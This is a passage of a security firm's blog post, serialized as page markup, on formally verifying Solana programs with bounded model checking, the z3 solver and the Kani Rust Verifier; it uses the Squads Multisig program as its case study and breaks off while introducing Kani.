processes.",{"type":23,"tag":32,"props":20860,"children":20861},{},[20862,20864,20871,20873,20880],{"type":29,"value":20863},"Recently we were contacted by the ",{"type":23,"tag":68,"props":20865,"children":20868},{"href":20866,"rel":20867},"https://squads.so/",[72],[20869],{"type":29,"value":20870},"Squads team",{"type":29,"value":20872}," to explore how formal verification could be used to verify security-critical properties of Solana programs. We were really excited about this opportunity and have been developing a prototype with the ",{"type":23,"tag":68,"props":20874,"children":20877},{"href":20875,"rel":20876},"https://github.com/Squads-Protocol/squads-mpl",[72],[20878],{"type":29,"value":20879},"Squads Multisig Program",{"type":29,"value":20881}," as our main case study.",{"type":23,"tag":32,"props":20883,"children":20884},{},[20885,20887,20894,20896,20903],{"type":29,"value":20886},"We now have a (mostly) working prototype that can be used to formally verify critical properties of Solana programs in order to ensure a higher level of security. Our tool integrates with ",{"type":23,"tag":68,"props":20888,"children":20891},{"href":20889,"rel":20890},"https://www.anchor-lang.com/",[72],[20892],{"type":29,"value":20893},"anchor-lang",{"type":29,"value":20895}," and provides new APIs to specify invariants for your Solana code. It then autogenerates proof harnesses which are verified with the ",{"type":23,"tag":68,"props":20897,"children":20900},{"href":20898,"rel":20899},"https://github.com/model-checking/kani",[72],[20901],{"type":29,"value":20902},"Kani Rust Verifier",{"type":29,"value":20904},". Additionally, we are implementing a formal-verification-friendly runtime SDK layer that accelerates the expensive process of running formal verification tools on complex code.",{"type":23,"tag":32,"props":20906,"children":20907},{},[20908,20910,20915],{"type":29,"value":20909},"In this blog post, we're excited to share our progress and the challenges we've encountered during the process. We will describe the main concepts behind ",{"type":23,"tag":4321,"props":20911,"children":20912},{},[20913],{"type":29,"value":20914},"bounded model checking",{"type":29,"value":20916}," (our formal verification method of choice) and explain how we've applied these concepts to Solana.",{"type":23,"tag":32,"props":20918,"children":20919},{},[20920],{"type":23,"tag":4321,"props":20921,"children":20922},{},[20923,20925,20932,20934],{"type":29,"value":20924},"If you're interested in learning more or getting your own programs formally verified, let us know! We'd be excited to chat with you! — Fill out ",{"type":23,"tag":68,"props":20926,"children":20929},{"href":20927,"rel":20928},"https://osec.io/contact",[72],[20930],{"type":29,"value":20931},"this form",{"type":29,"value":20933}," or email us at ",{"type":23,"tag":68,"props":20935,"children":20937},{"href":20936},"mailto:contact@osec.io",[20938],{"type":29,"value":20939},"contact@osec.io",{"type":23,"tag":20844,"props":20941,"children":20942},{},[],{"type":23,"tag":20944,"props":20945,"children":20947},"h4",{"id":20946},"contents",[20948],{"type":29,"value":20949},"Contents:",{"type":23,"tag":139,"props":20951,"children":20952},{},[20953,20958,20975,20985,20990,20995],{"type":23,"tag":143,"props":20954,"children":20955},{},[20956],{"type":29,"value":20957},"Formal Verification with Bounded Model Checking\na. Overview\nb. A simple example\nc. Loop bounds & path explosion\nd. The Kani Rust Verifier",{"type":23,"tag":143,"props":20959,"children":20960},{},[20961,20966,20968,20973],{"type":23,"tag":38,"props":20962,"children":20963},{},[20964],{"type":29,"value":20965},"Specification",{"type":29,"value":20967},": How can we describe what we ",{"type":23,"tag":4321,"props":20969,"children":20970},{},[20971],{"type":29,"value":20972},"want",{"type":29,"value":20974}," our program to do?",{"type":23,"tag":143,"props":20976,"children":20977},{},[20978,20983],{"type":23,"tag":38,"props":20979,"children":20980},{},[20981],{"type":29,"value":20982},"Verification",{"type":29,"value":20984},": How do we check that our model is correct?",{"type":23,"tag":143,"props":20986,"children":20987},{},[20988],{"type":29,"value":20989},"Case Study: Squads Multisig",{"type":23,"tag":143,"props":20991,"children":20992},{},[20993],{"type":29,"value":20994},"Additional challenges in Solana",{"type":23,"tag":143,"props":20996,"children":20997},{},[20998],{"type":29,"value":4835},{"type":23,"tag":24,"props":21000,"children":21002},{"id":21001},"formal-verification-with-bounded-model-checking",[21003],{"type":29,"value":21004},"Formal Verification with Bounded Model Checking",{"type":23,"tag":320,"props":21006,"children":21008},{"id":21007},"overview",[21009],{"type":29,"value":21010},"Overview",{"type":23,"tag":32,"props":21012,"children":21013},{},[21014],{"type":29,"value":21015},"Formal verification is the process of using a formal specification to verify the correctness of a system. In this case, the systems we are verifying are programs written in Rust that run on the Solana blockchain.",{"type":23,"tag":32,"props":21017,"children":21018},{},[21019,21021,21026],{"type":29,"value":21020},"There are many different flavors of formal verification, however in this research we are using ",{"type":23,"tag":38,"props":21022,"children":21023},{},[21024],{"type":29,"value":21025},"bounded model checking (BMC)",{"type":29,"value":357},{"type":23,"tag":32,"props":21028,"children":21029},{},[21030,21032,21037,21039,21044,21046,21050,21052,21058,21060,21066],{"type":29,"value":21031},"In short, the idea of BMC is to execute our program ",{"type":23,"tag":4321,"props":21033,"children":21034},{},[21035],{"type":29,"value":21036},"symbolically",{"type":29,"value":21038}," rather than ",{"type":23,"tag":4321,"props":21040,"children":21041},{},[21042],{"type":29,"value":21043},"concretely",{"type":29,"value":21045},". Instead of actually performing an ",{"type":23,"tag":4321,"props":21047,"children":21048},{},[21049],{"type":29,"value":11684},{"type":29,"value":21051}," when we see the line ",{"type":23,"tag":154,"props":21053,"children":21055},{"className":21054},[],[21056],{"type":29,"value":21057},"int x = a + b",{"type":29,"value":21059},", we store the symbolic expression ",{"type":23,"tag":154,"props":21061,"children":21063},{"className":21062},[],[21064],{"type":29,"value":21065},"x == a + b",{"type":29,"value":21067},". We do this for every line and once we reach the end of the program we have compiled a huge list of symbolic expressions. At this point, we can feed these expressions to a SMT solver along with a correctness property P in order to check if our program satisfies this property.",{"type":23,"tag":32,"props":21069,"children":21070},{},[21071],{"type":29,"value":21072},"If we hit a branch as we are tracing the program, we will take both sides of the branch adding the positive branch condition as a constraint to one side and the negative condition to the other side.",{"type":23,"tag":320,"props":21074,"children":21076},{"id":21075},"a-simple-example",[21077],{"type":29,"value":21078},"A simple example",{"type":23,"tag":32,"props":21080,"children":21081},{},[21082],{"type":29,"value":21083},"As an example, consider the following function:",{"type":23,"tag":4743,"props":21085,"children":21087},{"code":21086,"language":3110,"meta":7,"className":18562,"style":7},"int foo(int x) {\n    int y = x + 3;\n    int z;\n    if (y > 100) {\n        z = y * 2;\n    } else {\n        z = y + 1;\n    }\n\n    // Property P:\n    assert(z != 105);\n}\n",[21088],{"type":23,"tag":154,"props":21089,"children":21090},{"__ignoreMap":7},[21091,21121,21155,21167,21192,21220,21235,21262,21269,21276,21284,21310],{"type":23,"tag":504,"props":21092,"children":21093},{"class":5016,"line":5017},[21094,21099,21104,21108,21112,21117],{"type":23,"tag":504,"props":21095,"children":21096},{"style":5030},[21097],{"type":29,"value":21098},"int",{"type":23,"tag":504,"props":21100,"children":21101},{"style":5139},[21102],{"type":29,"value":21103}," foo",{"type":23,"tag":504,"props":21105,"children":21106},{"style":5058},[21107],{"type":29,"value":603},{"type":23,"tag":504,"props":21109,"children":21110},{"style":5030},[21111],{"type":29,"value":21098},{"type":23,"tag":504,"props":21113,"children":21114},{"style":5041},[21115],{"type":29,"value":21116}," x",{"type":23,"tag":504,"props":21118,"children":21119},{"style":5058},[21120],{"type":29,"value":16850},{"type":23,"tag":504,"props":21122,"children":21123},{"class":5016,"line":4868},[21124,21129,21133,21137,21142,21146,21151],{"type":23,"tag":504,"props":21125,"children":21126},{"style":5030},[21127],{"type":29,"value":21128},"    int",{"type":23,"tag":504,"props":21130,"children":21131},{"style":5058},[21132],{"type":29,"value":6556},{"type":23,"tag":504,"props":21134,"children":21135},{"style":5047},[21136],{"type":29,"value":546},{"type":23,"tag":504,"props":21138,"children":21139},{"style":5058},[21140],{"type":29,"value":21141}," x ",{"type":23,"tag":504,"props":21143,"children":21144},{"style":5047},[21145],{"type":29,"value":6422},{"type":23,"tag":504,"props":21147,"children":21148},{"style":5083},[21149],{"type":29,"value":21150}," 3",{"type":23,"tag":504,"props":21152,"children":21153},{"style":5058},[21154],{"type":29,"value":5061},{"type":23,"tag":504,"props":21156,"children":21157},{"class":5016,"line":4876},[21158,21162],{"type":23,"tag":504,"props":21159,"children":21160},{"style":5030},[21161],{"type":29,"value":21128},{"type":23,"tag":504,"props":21163,"children":21164},{"style":5058},[21165],{"type":29,"value":21166}," z;\n",{"type":23,"tag":504,"props":21168,"children":21169},{"class":5016,"line":5099},[21170,21174,21179,21183,21188],{"type":23,"tag":504,"props":21171,"children":21172},{"style":5067},[21173],{"type":29,"value":14325},{"type":23,"tag":504,"props":21175,"children":21176},{"style":5058},[21177],{"type":29,"value":21178}," (y ",{"type":23,"tag":504,"props":21180,"children":21181},{"style":5047},[21182],{"type":29,"value":12508},{"type":23,"tag":504,"props":21184,"children":21185},{"style":5083},[21186],{"type":29,"value":21187}," 100",{"type":23,"tag":504,"props":21189,"children":21190},{"style":5058},[21191],{"type":29,"value":16850},{"type":23,"tag":504,"props":21193,"children":21194},{"class":5016,"line":5203},[21195,21200,21204,21208,21212,21216],{"type":23,"tag":504,"props":21196,"children":21197},{"style":5058},[21198],{"type":29,"value":21199},"        z ",{"type":23,"tag":504,"props":21201,"children":21202},{"style":5047},[21203],{"type":29,"value":546},{"type":23,"tag":504,"props":21205,"children":21206},{"style":5058},[21207],{"type":29,"value":6556},{"type":23,"tag":504,"props":21209,"children":21210},{"style":5047},[21211],{"type":29,"value":6613},{"type":23,"tag":504,"props":21213,"children":21214},{"style":5083},[21215],{"type":29,"value":9979},{"type":23,"tag":504,"props":21217,"children":21218},{"style":5058},[21219],{"type":29,"value":5061},{"type":23,"tag":504,"props":21221,"children":21222},{"class":5016,"line":5308},[21223,21227,21231],{"type":23,"tag":504,"props":21224,"children":21225},{"style":5058},[21226],{"type":29,"value":17826},{"type":23,"tag":504,"props":21228,"children":21229},{"style":5067},[21230],{"type":29,"value":5360},{"type":23,"tag":504,"props":21232,"children":21233},{"style":5058},[21234],{"type":29,"value":5333},{"type":23,"tag":504,"props":21236,"children":21237},{"class":5016,"line":5336},[21238,21242,21246,21250,21254,21258],{"type":23,"tag":504,"props":21239,"children":21240},{"style":5058},[21241],{"type":29,"value":21199},{"type":23,"tag":504,"props":21243,"children":21244},{"style":5047},[21245],{"type":29,"value":546},{"type":23,"tag":504,"props":21247,"children":21248},{"style":5058},[21249],{"type":29,"value":6556},{"type":23,"tag":504,"props":21251,"children":21252},{"style":5047},[21253],{"type":29,"value":6422},{"type":23,"tag":504,"props":21255,"children":21256},{"style":5083},[21257],{"type":29,"value":6565},{"type":23,"tag":504,"props":21259,"children":21260},{"style":5058},[21261],{"type":29,"value":5061},{"type":23,"tag":504,"props":21263,"children":21264},{"class":5016,"line":5349},[21265],{"type":23,"tag":504,"props":21266,"children":21267},{"style":5058},[21268],{"type":29,"value":5403},{"type":23,"tag":504,"props":21270,"children":21271},{"class":5016,"line":5367},[21272],{"type":23,"tag":504,"props":21273,"children":21274},{"emptyLinePlaceholder":15},[21275],{"type":29,"value":5734},{"type":23,"tag":504,"props":21277,"children":21278},{"class":5016,"line":5388},[21279],{"type":23,"tag":504,"props":21280,"children":21281},{"style":5021},[21282],{"type":29,"value":21283},"    // Property P:\n",{"type":23,"tag":504,"props":21285,"children":21286},{"class":5016,"line":5397},[21287,21292,21297,21301,21306],{"type":23,"tag":504,"props":21288,"children":21289},{"style":5139},[21290],{"type":29,"value":21291},"    assert",{"type":23,"tag":504,"props":21293,"children":21294},{"style":5058},[21295],{"type":29,"value":21296},"(z ",{"type":23,"tag":504,"props":21298,"children":21299},{"style":5047},[21300],{"type":29,"value":17735},{"type":23,"tag":504,"props":21302,"children":21303},{"style":5083},[21304],{"type":29,"value":21305}," 105",{"type":23,"tag":504,"props":21307,"children":21308},{"style":5058},[21309],{"type":29,"value":5888},{"type":23,"tag":504,"props":21311,"children":21312},{"class":5016,"line":5649},[21313],{"type":23,"tag":504,"props":21314,"children":21315},{"style":5058},[21316],{"type":29,"value":5965},{"type":23,"tag":32,"props":21318,"children":21319},{},[21320,21322,21328,21330,21336],{"type":29,"value":21321},"This function takes an input ",{"type":23,"tag":154,"props":21323,"children":21325},{"className":21324},[],[21326],{"type":29,"value":21327},"x",{"type":29,"value":21329}," and does some computation. At the end of the program, the property we want to verify is that ",{"type":23,"tag":154,"props":21331,"children":21333},{"className":21332},[],[21334],{"type":29,"value":21335},"z != 105",{"type":29,"value":357},{"type":23,"tag":32,"props":21338,"children":21339},{},[21340],{"type":29,"value":21341},"With BMC, we could trace this program and derive the following constraints:",{"type":23,"tag":32,"props":21343,"children":21344},{},[21345],{"type":29,"value":21346},"Positive branch:",{"type":23,"tag":4743,"props":21348,"children":21350},{"code":21349,"language":3110,"meta":7,"className":18562,"style":7},"y == x + 3\ny > 100\nz == y * 2\n",[21351],{"type":23,"tag":154,"props":21352,"children":21353},{"__ignoreMap":7},[21354,21379,21395],{"type":23,"tag":504,"props":21355,"children":21356},{"class":5016,"line":5017},[21357,21362,21366,21370,21374],{"type":23,"tag":504,"props":21358,"children":21359},{"style":5058},[21360],{"type":29,"value":21361},"y ",{"type":23,"tag":504,"props":21363,"children":21364},{"style":5047},[21365],{"type":29,"value":1224},{"type":23,"tag":504,"props":21367,"children":21368},{"style":5058},[21369],{"type":29,"value":21141},{"type":23,"tag":504,"props":21371,"children":21372},{"style":5047},[21373],{"type":29,"value":6422},{"type":23,"tag":504,"props":21375,"children":21376},{"style":5083},[21377],{"type":29,"value":21378}," 3\n",{"type":23,"tag":504,"props":21380,"children":21381},{"class":5016,"line":4868},[21382,21386,21390],{"type":23,"tag":504,"props":21383,"children":21384},{"style":5058},[21385],{"type":29,"value":21361},{"type":23,"tag":504,"props":21387,"children":21388},{"style":5047},[21389],{"type":29,"value":12508},{"type":23,"tag":504,"props":21391,"children":21392},{"style":5083},[21393],{"type":29,"value":21394}," 100\n",{"type":23,"tag":504,"props":21396,"children":21397},{"class":5016,"line":4876},[21398,21403,21407,21411,21415],{"type":23,"tag":504,"props":21399,"children":21400},{"style":5058},[21401],{"type":29,"value":21402},"z ",{"type":23,"tag":504,"props":21404,"children":21405},{"style":5047},[21406],{"type":29,"value":1224},{"type":23,"tag":504,"props":21408,"children":21409},{"style":5058},[21410],{"type":29,"value":6556},{"type":23,"tag":504,"props":21412,"children":21413},{"style":5047},[21414],{"type":29,"value":6613},{"type":23,"tag":504,"props":21416,"children":21417},{"style":5083},[21418],{"type":29,"value":21419}," 2\n",{"type":23,"tag":32,"props":21421,"children":21422},{},[21423],{"type":29,"value":21424},"Negative branch:",{"type":23,"tag":4743,"props":21426,"children":21428},{"code":21427,"language":3110,"meta":7,"className":18562,"style":7},"y == x + 3\ny \u003C= 100\nz == y + 1\n",[21429],{"type":23,"tag":154,"props":21430,"children":21431},{"__ignoreMap":7},[21432,21455,21471],{"type":23,"tag":504,"props":21433,"children":21434},{"class":5016,"line":5017},[21435,21439,21443,21447,21451],{"type":23,"tag":504,"props":21436,"children":21437},{"style":5058},[21438],{"type":29,"value":21361},{"type":23,"tag":504,"props":21440,"children":21441},{"style":5047},[21442],{"type":29,"value":1224},{"type":23,"tag":504,"props":21444,"children":21445},{"style":5058},[21446],{"type":29,"value":21141},{"type":23,"tag":504,"props":21448,"children":21449},{"style":5047},[21450],{"type":29,"value":6422},{"type":23,"tag":504,"props":21452,"children":21453},{"style":5083},[21454],{"type":29,"value":21378},{"type":23,"tag":504,"props":21456,"children":21457},{"class":5016,"line":4868},[21458,21462,21467],{"type":23,"tag":504,"props":21459,"children":21460},{"style":5058},[21461],{"type":29,"value":21361},{"type":23,"tag":504,"props":21463,"children":21464},{"style":5047},[21465],{"type":29,"value":21466},"\u003C=",{"type":23,"tag":504,"props":21468,"children":21469},{"style":5083},[21470],{"type":29,"value":21394},{"type":23,"tag":504,"props":21472,"children":21473},{"class":5016,"line":4876},[21474,21478,21482,21486,21490],{"type":23,"tag":504,"props":21475,"children":21476},{"style":5058},[21477],{"type":29,"value":21402},{"type":23,"tag":504,"props":21479,"children":21480},{"style":5047},[21481],{"type":29,"value":1224},{"type":23,"tag":504,"props":21483,"children":21484},{"style":5058},[21485],{"type":29,"value":6556},{"type":23,"tag":504,"props":21487,"children":21488},{"style":5047},[21489],{"type":29,"value":6422},{"type":23,"tag":504,"props":21491,"children":21492},{"style":5083},[21493],{"type":29,"value":21494}," 1\n",{"type":23,"tag":32,"props":21496,"children":21497},{},[21498,21500,21507],{"type":29,"value":21499},"Using the ",{"type":23,"tag":68,"props":21501,"children":21504},{"href":21502,"rel":21503},"https://github.com/Z3Prover/z3",[72],[21505],{"type":29,"value":21506},"z3",{"type":29,"value":21508}," SMT solver, we could check both of these cases like so:",{"type":23,"tag":4743,"props":21510,"children":21514},{"code":21511,"language":21512,"meta":7,"className":21513,"style":7},"from z3 import *\n\nx = Int('x')\ny = Int('y')\nz = Int('z')\n\n# Positive branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y > 100)\ns.add(z == y * 2)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n\n# Negative branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y \u003C= 100)\ns.add(z == y + 1)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n","python","language-python shiki shiki-themes slack-dark",[21515],{"type":23,"tag":154,"props":21516,"children":21517},{"__ignoreMap":7},[21518,21541,21548,21574,21598,21622,21629,21637,21654,21682,21701,21729,21736,21744,21765,21783,21790,21798,21813,21840,21859,21886,21893,21900,21919],{"type":23,"tag":504,"props":21519,"children":21520},{"class":5016,"line":5017},[21521,21526,21531,21536],{"type":23,"tag":504,"props":21522,"children":21523},{"style":5067},[21524],{"type":29,"value":21525},"from",{"type":23,"tag":504,"props":21527,"children":21528},{"style":5058},[21529],{"type":29,"value":21530}," z3 ",{"type":23,"tag":504,"props":21532,"children":21533},{"style":5067},[21534],{"type":29,"value":21535},"import",{"type":23,"tag":504,"props":21537,"children":21538},{"style":5047},[21539],{"type":29,"value":21540}," *\n",{"type":23,"tag":504,"props":21542,"children":21543},{"class":5016,"line":4868},[21544],{"type":23,"tag":504,"props":21545,"children":21546},{"emptyLinePlaceholder":15},[21547],{"type":29,"value":5734},{"type":23,"tag":504,"props":21549,"children":21550},{"class":5016,"line":4876},[21551,21556,21560,21565,21570],{"type":23,"tag":504,"props":21552,"children":21553},{"style":5058},[21554],{"type":29,"value":21555},"x ",{"type":23,"tag":504,"props":21557,"children":21558},{"style":5047},[21559],{"type":29,"value":546},{"type":23,"tag":504,"props":21561,"children":21562},{"style":5058},[21563],{"type":29,"value":21564}," Int(",{"type":23,"tag":504,"props":21566,"children":21567},{"style":6297},[21568],{"type":29,"value":21569},"'x'",{"type":23,"tag":504,"props":21571,"children":21572},{"style":5058},[21573],{"type":29,"value":5200},{"type":23,"tag":504,"props":21575,"children":21576},{"class":5016,"line":5099},[21577,21581,21585,21589,21594],{"type":23,"tag":504,"props":21578,"children":21579},{"style":5058},[21580],{"type":29,"value":21361},{"type":23,"tag":504,"props":21582,"children":21583},{"style":5047},[21584],{"type":29,"value":546},{"type":23,"tag":504,"props":21586,"children":21587},{"style":5058},[21588],{"type":29,"value":21564},{"type":23,"tag":504,"props":21590,"children":21591},{"style":6297},[21592],{"type":29,"value":21593},"'y'",{"type":23,"tag":504,"props":21595,"children":21596},{"style":5058},[21597],{"type":29,"value":5200},{"type":23,"tag":504,"props":21599,"children":21600},{"class":5016,"line":5203},[21601,21605,21609,21613,21618],{"type":23,"tag":504,"props":21602,"children":21603},{"style":5058},[21604],{"type":29,"value":21402},{"type":23,"tag":504,"props":21606,"children":21607},{"style":5047},[21608],{"type":29,"value":546},{"type":23,"tag":504,"props":21610,"children":21611},{"style":5058},[21612],{"type":29,"value":21564},{"type":23,"tag":504,"props":21614,"children":21615},{"style":6297},[21616],{"type":29,"value":21617},"'z'",{"type":23,"tag":504,"props":21619,"children":21620},{"style":5058},[21621],{"type":29,"value":5200},{"type":23,"tag":504,"props":21623,"children":21624},{"class":5016,"line":5308},[21625],{"type":23,"tag":504,"props":21626,"children":21627},{"emptyLinePlaceholder":15},[21628],{"type":29,"value":5734},{"type":23,"tag":504,"props":21630,"children":21631},{"class":5016,"line":5336},[21632],{"type":23,"tag":504,"props":21633,"children":21634},{"style":5021},[21635],{"type":29,"value":21636},"# Positive branch:\n",{"type":23,"tag":504,"props":21638,"children":21639},{"class":5016,"line":5349},[21640,21645,21649],{"type":23,"tag":504,"props":21641,"children":21642},{"style":5058},[21643],{"type":29,"value":21644},"s ",{"type":23,"tag":504,"props":21646,"children":21647},{"style":5047},[21648],{"type":29,"value":546},{"type":23,"tag":504,"props":21650,"children":21651},{"style":5058},[21652],{"type":29,"value":21653}," Solver()\n",{"type":23,"tag":504,"props":21655,"children":21656},{"class":5016,"line":5367},[21657,21662,21666,21670,21674,21678],{"type":23,"tag":504,"props":21658,"children":21659},{"style":5058},[21660],{"type":29,"value":21661},"s.add(y ",{"type":23,"tag":504,"props":21663,"children":21664},{"style":5047},[21665],{"type":29,"value":1224},{"type":23,"tag":504,"props":21667,"children":21668},{"style":5058},[21669],{"type":29,"value":21141},{"type":23,"tag":504,"props":21671,"children":21672},{"style":5047},[21673],{"type":29,"value":6422},{"type":23,"tag":504,"props":21675,"children":21676},{"style":5083},[21677],{"type":29,"value":21150},{"type":23,"tag":504,"props":21679,"children":21680},{"style":5058},[21681],{"type":29,"value":5200},{"type":23,"tag":504,"props":21683,"children":21684},{"class":5016,"line":5388},[21685,21689,21693,21697],{"type":23,"tag":504,"props":21686,"children":21687},{"style":5058},[21688],{"type":29,"value":21661},{"type":23,"tag":504,"props":21690,"children":21691},{"style":5047},[21692],{"type":29,"value":12508},{"type":23,"tag":504,"props":21694,"children":21695},{"style":5083},[21696],{"type":29,"value":21187},{"type":23,"tag":504,"props":21698,"children":21699},{"style":5058},[21700],{"type":29,"value":5200},{"type":23,"tag":504,"props":21702,"children":21703},{"class":5016,"line":5397},[21704,21709,21713,21717,21721,21725],{"type":23,"tag":504,"props":21705,"children":21706},{"style":5058},[21707],{"type":29,"value":21708},"s.add(z ",{"type":23,"tag":504,"props":21710,"children":21711},{"style":5047},[21712],{"type":29,"value":1224},{"type":23,"tag":504,"props":21714,"children":21715},{"style":5058},[21716],{"type":29,"value":6556},{"type":23,"tag":504,"props":21718,"children":21719},{"style":5047},[21720],{"type":29,"value":6613},{"type":23,"tag":504,"props":21722,"children":21723},{"style":5083},[21724],{"type":29,"value":9979},{"type":23,"tag":504,"props":21726,"children":21727},{"style":5058},[21728],{"type":29,"value":5200},{"type":23,"tag":504,"props":21730,"children":21731},{"class":5016,"line":5649},[21732],{"type":23,"tag":504,"props":21733,"children":21734},{"emptyLinePlaceholder":15},[21735],{"type":29,"value":5734},{"type":23,"tag":504,"props":21737,"children":21738},{"class":5016,"line":5666},[21739],{"type":23,"tag":504,"props":21740,"children":21741},{"style":5021},[21742],{"type":29,"value":21743},"# check if we can violate the correctness property\n",{"type":23,"tag":504,"props":21745,"children":21746},{"class":5016,"line":5683},[21747,21752,21756,21760],{"type":23,"tag":504,"props":21748,"children":21749},{"style":5058},[21750],{"type":29,"value":21751},"s.add(Not(z ",{"type":23,"tag":504,"props":21753,"children":21754},{"style":5047},[21755],{"type":29,"value":17735},{"type":23,"tag":504,"props":21757,"children":21758},{"style":5083},[21759],{"type":29,"value":21305},{"type":23,"tag":504,"props":21761,"children":21762},{"style":5058},[21763],{"type":29,"value":21764},"))\n",{"type":23,"tag":504,"props":21766,"children":21767},{"class":5016,"line":5696},[21768,21773,21778],{"type":23,"tag":504,"props":21769,"children":21770},{"style":5139},[21771],{"type":29,"value":21772},"print",{"type":23,"tag":504,"props":21774,"children":21775},{"style":5058},[21776],{"type":29,"value":21777},"(s.check()) ",{"type":23,"tag":504,"props":21779,"children":21780},{"style":5021},[21781],{"type":29,"value":21782},"# \"unsat\"\n",{"type":23,"tag":504,"props":21784,"children":21785},{"class":5016,"line":5705},[21786],{"type":23,"tag":504,"props":21787,"children":21788},{"emptyLinePlaceholder":15},[21789],{"type":29,"value":5734},{"type":23,"tag":504,"props":21791,"children":21792},{"class":5016,"line":5728},[21793],{"type":23,"tag":504,"props":21794,"children":21795},{"style":5021},[21796],{"type":29,"value":21797},"# Negative branch:\n",{"type":23,"tag":504,"props":21799,"children":21800},{"class":5016,"line":5737},[21801,21805,21809],{"type":23,"tag":504,"props":21802,"children":21803},{"style":5058},[21804],{"type":29,"value":21644},{"type":23,"tag":504,"props":21806,"children":21807},{"style":5047},[21808],{"type":29,"value":546},{"type":23,"tag":504,"props":21810,"children":21811},{"style":5058},[21812],{"type":29,"value":21653},{"type":23,"tag":504,"props":21814,"children":21815},{"class":5016,"line":5746},[21816,21820,21824,21828,21832,21836],{"type":23,"tag":504,"props":21817,"children":21818},{"style":5058},[21819],{"type":29,"value":21661},{"type":23,"tag":504,"props":21821,"children":21822},{"style":5047},[21823],{"type":29,"value":1224},{"type":23,"tag":504,"props":21825,"children":21826},{"style":5058},[21827],{"type":29,"value":21141},{"type":23,"tag":504,"props":21829,"children":21830},{"style":5047},[21831],{"type":29,"value":6422},{"type":23,"tag":504,"props":21833,"children":21834},{"style":5083},[21835],{"type":29,"value":21150},{"type":23,"tag":504,"props":21837,"children":21838},{"style":5058},[21839],{"type":29,"value":5200},{"type":23,"tag":504,"props":21841,"children":21842},{"class":5016,"line":5813},[21843,21847,21851,21855],{"type":23,"tag":504,"props":21844,"children":21845},{"style":5058},[21846],{"type":29,"value":21661},{"type":23,"tag":504,"props":21848,"children":21849},{"style":5047},[21850],{"type":29,"value":21466},{"type":23,"tag":504,"props":21852,"children":21853},{"style":5083},[21854],{"type":29,"value":21187},{"type":23,"tag":504,"props":21856,"children":21857},{"style":5058},[21858],{"type":29,"value":5200},{"type":23,"tag":504,"props":21860,"children":21861},{"class":5016,"line":5821},[21862,21866,21870,21874,21878,21882],{"type":23,"tag":504,"props":21863,"children":21864},{"style":5058},[21865],{"type":29,"value":21708},{"type":23,"tag":504,"props":21867,"children":21868},{"style":5047},[21869],{"type":29,"value":1224},{"type":23,"tag":504,"props":21871,"children":21872},{"style":5058},[21873],{"type":29,"value":6556},{"type":23,"tag":504,"props":21875,"children":21876},{"style":5047},[21877],{"type":29,"value":6422},{"type":23,"tag":504,"props":21879,"children":21880},{"style":5083},[21881],{"type":29,"value":6565},{"type":23,"tag":504,"props":21883,"children":21884},{"style":5058},[21885],{"type":29,"value":5200},{"type":23,"tag":504,"props":21887,"children":21888},{"class":5016,"line":5851},[21889],{"type":23,"tag":504,"props":21890,"children":21891},{"emptyLinePlaceholder":15},[21892],{"type":29,"value":5734},{"type":23,"tag":504,"props":21894,"children":21895},{"class":5016,"line":5859},[21896],{"type":23,"tag":504,"props":21897,"children":21898},{"style":5021},[21899],{"type":29,"value":21743},{"type":23,"tag":504,"props":21901,"children":21902},{"class":5016,"line":5891},[21903,21907,21911,21915],{"type":23,"tag":504,"props":21904,"children":21905},{"style":5058},[21906],{"type":29,"value":21751},{"type":23,"tag":504,"props":21908,"children":21909},{"style":5047},[21910],{"type":29,"value":17735},{"type":23,"tag":504,"props":21912,"children":21913},{"style":5083},[21914],{"type":29,"value":21305},{"type":23,"tag":504,"props":21916,"children":21917},{"style":5058},[21918],{"type":29,"value":21764},{"type":23,"tag":504,"props":21920,"children":21921},{"class":5016,"line":5899},[21922,21926,21930],{"type":23,"tag":504,"props":21923,"children":21924},{"style":5139},[21925],{"type":29,"value":21772},{"type":23,"tag":504,"props":21927,"children":21928},{"style":5058},[21929],{"type":29,"value":21777},{"type":23,"tag":504,"props":21931,"children":21932},{"style":5021},[21933],{"type":29,"value":21782},{"type":23,"tag":32,"props":21935,"children":21936},{},[21937,21939,21945,21947,21952],{"type":29,"value":21938},"Both of these cases return ",{"type":23,"tag":154,"props":21940,"children":21942},{"className":21941},[],[21943],{"type":29,"value":21944},"unsat",{"type":29,"value":21946}," meaning z3 could not find a way to violate the correctness property, hence our program is ",{"type":23,"tag":4321,"props":21948,"children":21949},{},[21950],{"type":29,"value":21951},"correct",{"type":29,"value":21953}," according to this property.",{"type":23,"tag":320,"props":21955,"children":21957},{"id":21956},"loop-bounds-path-explosion",[21958],{"type":29,"value":21959},"Loop bounds & path explosion",{"type":23,"tag":32,"props":21961,"children":21962},{},[21963,21965,21970,21972,21977],{"type":29,"value":21964},"As you may have noticed, BMC requires us to take ",{"type":23,"tag":4321,"props":21966,"children":21967},{},[21968],{"type":29,"value":21969},"every",{"type":29,"value":21971}," branch in the program. To be sure that our property holds, we need to check every possible route through the program. If we have 10 branches in a row we might need to test 2^10 paths! And if our program has loops, we may need to check an ",{"type":23,"tag":4321,"props":21973,"children":21974},{},[21975],{"type":29,"value":21976},"infinite",{"type":29,"value":21978}," number of paths because the loop branches backward. This might take a while...",{"type":23,"tag":32,"props":21980,"children":21981},{},[21982],{"type":29,"value":21983},"This is where the \"bounded\" part of \"bounded model checking\" applies. Rather than unroll an infinite number of loops, we can set a loop bound and also verify that it is not possible to loop more than the loop bound.",{"type":23,"tag":32,"props":21985,"children":21986},{},[21987],{"type":29,"value":21988},"While this technique of bounding loops makes the problem tractable. It is still expensive to run BMC on very large programs due to the problem of path explosion. As our program gets larger, the number of possible paths scales potentially exponentially.",{"type":23,"tag":32,"props":21990,"children":21991},{},[21992],{"type":29,"value":21993},"One of the main challenges we will discuss later is how to address this problem of path explosion in the context of Solana Rust programs.",{"type":23,"tag":320,"props":21995,"children":21997},{"id":21996},"kani-model-checker",[21998],{"type":29,"value":21999},"Kani Model Checker",{"type":23,"tag":32,"props":22001,"children":22002},{},[22003,22005,22010],{"type":29,"value":22004},"For our research with formally verifying Solana programs, we are using the ",{"type":23,"tag":68,"props":22006,"children":22008},{"href":20898,"rel":22007},[72],[22009],{"type":29,"value":20902},{"type":29,"value":22011},": an open-source, bit-precise model checker for Rust created at AWS. Under the hood, Kani uses 